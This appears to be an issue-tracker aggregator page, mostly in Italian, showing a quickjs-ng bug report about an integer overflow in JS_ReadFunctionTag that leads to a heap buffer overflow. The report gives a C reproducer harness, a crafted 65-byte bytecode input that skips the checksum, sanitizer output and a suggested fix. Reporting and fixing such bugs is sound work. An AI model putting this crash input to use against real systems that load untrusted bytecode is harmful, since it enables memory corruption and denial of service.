Heap buffer overflow in JS_ReadFunctionTag when cpool_count overflows function_size
I maintainer di solito rispondono entro 2 giorni
Nessuno ha ancora preso questa issue.
Valutazione
- Difficoltà
- 4/5
- Tempo stimato
- 3-5 giorni
- Idoneità per principianti
- 48/100
Direzione di ricerca
Start in quickjs.c at JS_ReadFunctionTag around the reported size computation and inspect free_function_bytecode, which releases the constant pool on failure. Check how bytecode counts and allocation sizes are validated elsewhere, then run the existing bytecode reader tests with the supplied reproducer. Done means malformed input is rejected without overflow or an out-of-bounds read.
Scritto dal modello di indicizzazione a partire dal testo della issue.
Descrizione
JS_ReadFunctionTag uses attacker-controlled cpool_count, local_count and byte_code_len directly in an int size computation, with no validation, then allocates that size and later walks cpool_count entries.
plaintext
// quickjs.c:39704
if (bc_get_leb128_int(s, &bc.cpool_count)) goto fail;
if (bc_get_leb128_int(s, &bc.byte_code_len)) goto fail;
if (bc_get_leb128_int(s, &local_count)) goto fail;
function_size = cpool_offset + bc.cpool_count * sizeof(*bc.cpool); // int overflow
function_size += local_count * sizeof(*bc.vardefs); // int overflow
function_size += bc.byte_code_len; // int overflow
b = js_mallocz(ctx, function_size);
sizeof(JSValue) is 16, so cpool_count > 134,217,728 wraps the multiplication. cpool_count = 0x10000001 gives * 16 = 16: a 16-byte allocation, while b->cpool_count stays at 268 million.
On the error path free_function_bytecode() then walks the full range:
plaintext
for (i = 0; i < b->cpool_count; i++)
JS_FreeValueRT(rt, b->cpool[i]); // past the end of the block
Reproducer:
plaintext
#include <stdio.h>
#include "quickjs.h"
int main(void) {
unsigned char buf[1 << 20];
size_t n = fread(buf, 1, sizeof(buf), stdin);
if (!n) return 0;
JSRuntime *rt = JS_NewRuntime();
JSContext *ctx = JS_NewContext(rt);
JSValue v = JS_ReadObject(ctx, buf, n, JS_READ_OBJ_BYTECODE);
if (JS_IsException(v)) { JSValue e = JS_GetException(ctx); JS_FreeValue(ctx, e); }
JS_FreeValue(ctx, v);
JS_FreeContext(ctx); JS_FreeRuntime(rt);
return 0;
}
65-byte input:
plaintext
1d ff ff ff ff 01 01 13 30 30 30 30 30 30 30 30
30 30 30 30 30 30 30 30 30 30 16 30 0d 01 01 01
01 00 30 30 01 30 01 30 30 30 30 07 07 30 30 30
30 30 30 0c 30 30 30 30 30 30 30 30 30 30 30 30
30
ff ff ff ff at offset 1 is the documented UINT32_MAX checksum escape hatch, so the checksum does not need to be recomputed.
Result:
plaintext
==165748==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x7abb0bde0980
READ of size 4
#0 free_function_bytecode quickjs.c:37168:45
#1 free_gc_object quickjs.c:7104:9
#2 free_zero_refcount quickjs.c:7123:9
#3 js_free_value_rt quickjs.c:7169:21
#6 JS_ReadFunctionTag quickjs.c:39938:5
#7 JS_ReadObjectRec quickjs.c:40414:15
#8 js_map_read quickjs.c:54055:19
#12 JS_ReadObject quickjs.c:40617:12
Also reproduces as a plain SIGSEGV (exit 139) on a -O2 build with no sanitizers, so it is not an ASAN artifact.
Tested on commit 7a23d8e (0.17.0), x86-64 Linux.
Suggested fix: validate before the size computation and do the arithmetic in size_t with overflow checks:
plaintext
if (bc.cpool_count < 0 || bc.cpool_count > JS_MAX_CPOOL_COUNT ||
local_count < 0 || local_count > JS_MAX_LOCAL_COUNT ||
bc.byte_code_len < 0 || bc.byte_code_len > JS_MAX_BYTECODE_LEN)
goto fail;
and free only the cpool entries actually initialised (the buffer is js_mallocz'd, so track the filled count or clamp b->cpool_count before any goto fail that reaches the destructor).
I know bytecode is out of scope per SECURITY.md — filing as a plain bug report, not a security report.
- Lingua principale
- C
- Stelle
- 3.9k
- Fork
- 389
- Merge medio
- 2g 9h
- PR unite (30g)
- 19
Preparare l'ambiente
Questo progetto non fornisce container di sviluppo, Dockerfile né guida per i contributori, quindi l'ambiente è a tuo carico: parti dal suo README e consulta la nostra guida al primo contributo per i passaggi generali.
Come iniziare
- Leggi tutta la issue e poi la guida ai contributi del progetto.
- Commenta sulla issue per dire che te ne occupi tu — evita che due persone facciano lo stesso lavoro.
- Fai un fork del repository e lavora su un branch.
- Apri una pull request che faccia riferimento al numero della issue.
Altre issue di quickjs-ng/quickjs
-
JS_SetPropertyInternal2 loses the value when a lazy property on the prototype runs out of memoryAperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
quickjs-ng/quickjs#1852 ·
I maintainer di solito rispondono entro 2 giorni
-
Array.prototype.find frees an element twice when interrupted between iterationsForse già presa @josefguenther l’ha presa 23 giorni fa. Aperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 73/100
quickjs-ng/quickjs#1792 · 1 commento ·
I maintainer di solito rispondono entro 2 giorni
-
Object.prototype.propertyIsEnumerable converts `this` before the property keyForse già presa @SomSamantray l’ha presa 19 giorni fa. Aperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 72/100
quickjs-ng/quickjs#1772 ·
I maintainer di solito rispondono entro 2 giorni
-
Deserialization corrupts data or returns `undefined` when a RegExp precedes a shared object referenceForse già presa @Sree24-ui l’ha presa 23 giorni fa. Aperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 78/100
quickjs-ng/quickjs#1771 · 2 commenti ·
I maintainer di solito rispondono entro 2 giorni
-
More native loops never consult the interrupt handler (TypedArray, String, JSON, change-array-by-copy, and some harder cases)Forse già presa Una pull request collegata a questa issue è aperta o già unita. Aperta
Difficoltà 5/5 Più di una settimana Idoneità per principianti 25/100
quickjs-ng/quickjs#1856 ·
I maintainer di solito rispondono entro 2 giorni
Tutte le issue di quickjs-ng/quickjs
Issue simili
-
GPU-UNLOCK RTX 4070 (2786) Gigabyte 1458:416C: cold boot AND warm reboot unlock, Ubuntu 26.04Aperta
Difficoltà 2/5 1-3 ore Idoneità per principianti 62/100
JustAResearcher/gpu-unlock-ada#124 ·
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 62/100
-
inflate: total_in uses plain += on c_ulong (32-bit on Windows), panics in debug for streams > 4 GiBAperta
Difficoltà 1/5 Meno di un'ora Idoneità per principianti 85/100
trifectatechfoundation/zlib-rs#570 · 1 commento ·
-
ci: mingw64 cross-compile fails on ubuntu-26.04 because Wine 10 drops /usr/lib/wine/wine64Forse già presa @hyoklee l’ha presa oggi. ApertaComponent - Testing
Difficoltà 2/5 1-3 ore Idoneità per principianti 85/100
I maintainer di solito rispondono entro 1 giorno
-
Difficoltà 2/5 1-3 ore Idoneità per principianti 75/100
I maintainer di solito rispondono entro 1 giorno